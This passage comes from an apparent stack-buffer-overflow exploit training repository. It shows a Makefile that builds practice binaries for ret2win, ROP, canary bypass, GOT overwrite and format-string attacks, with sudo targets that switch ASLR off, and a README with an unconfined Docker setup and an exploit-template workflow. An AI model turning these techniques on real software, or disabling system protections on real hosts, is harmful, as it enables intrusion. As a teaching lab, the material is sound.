./5_got_overwrite/got_overwrite 29 | patchelf --set-rpath ../.lib/ --set-interpreter ../.lib/ld-linux-x86-64.so.2 ./5_got_overwrite/got_overwrite 30 | 31 | ./6_fsb_rop/fsb_rop: ./6_fsb_rop/fsb_rop.c 32 | # full relro 33 | gcc -fstack-protector-all -Wl,-z,relro,-z,now ./6_fsb_rop/fsb_rop.c -o ./6_fsb_rop/fsb_rop 34 | patchelf --set-rpath ../.lib/ --set-interpreter ../.lib/ld-linux-x86-64.so.2 ./6_fsb_rop/fsb_rop 35 | 36 | .PHONY: all 37 | all: ./0_ret2win/ret2win \ 38 | ./1_shellcode/shellcode \ 39 | ./2_bypass_canary/bypass_canary \ 40 | ./3_rop_chain/rop_chain \ 41 | ./4_libc_leak/libc_leak \ 42 | ./5_got_overwrite/got_overwrite \ 43 | ./6_fsb_rop/fsb_rop 44 | 45 | .PHONY: clean 46 | clean: 47 | rm -rf \ 48 | ./0_ret2win/ret2win \ 49 | ./1_shellcode/shellcode \ 50 | ./2_bypass_canary/bypass_canary \ 51 | ./3_rop_chain/rop_chain \ 52 | ./4_libc_leak/libc_leak \ 53 | ./5_got_overwrite/got_overwrite \ 54 | ./6_fsb_rop/fsb_rop 55 | 56 | .PHONY: enable_aslr 57 | enable_aslr: 58 | sudo bash -c 'echo 2 > /proc/sys/kernel/randomize_va_space' 59 | 60 | .PHONY: disable_aslr 61 | disable_aslr: 62 | sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' 63 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Stack Buffer Overflow - Protection Bypass Techniques 2 | 3 | **[Stack_Buffer_Overflow_Exploit.pdf](Stack_Buffer_Overflow_Exploit.pdf)** 4 | 5 | 6 | ## Quick Start 7 | 8 | ``` 9 | docker build -t stack-bof . 10 | docker run \ 11 | --rm \ 12 | -v $(PWD):/stack-bof \ 13 | --cap-add=SYS_PTRACE \ 14 | --security-opt="seccomp=unconfined" \ 15 | -it stack-bof \ 16 | tmux 17 | ``` 18 | 19 | ``` 20 | cd /stack-bof 21 | ``` 22 | 23 | 24 | ## Write an exploit code from the template 25 | 26 | ``` 27 | cd ./0_ret2win 28 | cp ../.util/exploit_template.py ./my_exploit.py 29 | vim ./my_exploit.py 30 | ``` 31 | 32 | 33 | ## Run an exploit with GDB 34 | 35 | ``` 36 | python3 exploit.py NOASLR GDB 37 | ``` 38 | 39 | 40 | ## Run tests 41 | 42 | ``` 43 | python3 -m unittest discover .test/ "*_test.py" 44 | ``` 45 | -------------------------------------------------------------------------------- /Stack_Buffer_Overflow_Exploit.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ommadawn46/stack-bof/b216d66e10fbad6a0cb9dc40bb31f014d9ebeafc/Stack_Buffer_Overflow_Exploit.pdf --------------------------------------------------------------------------------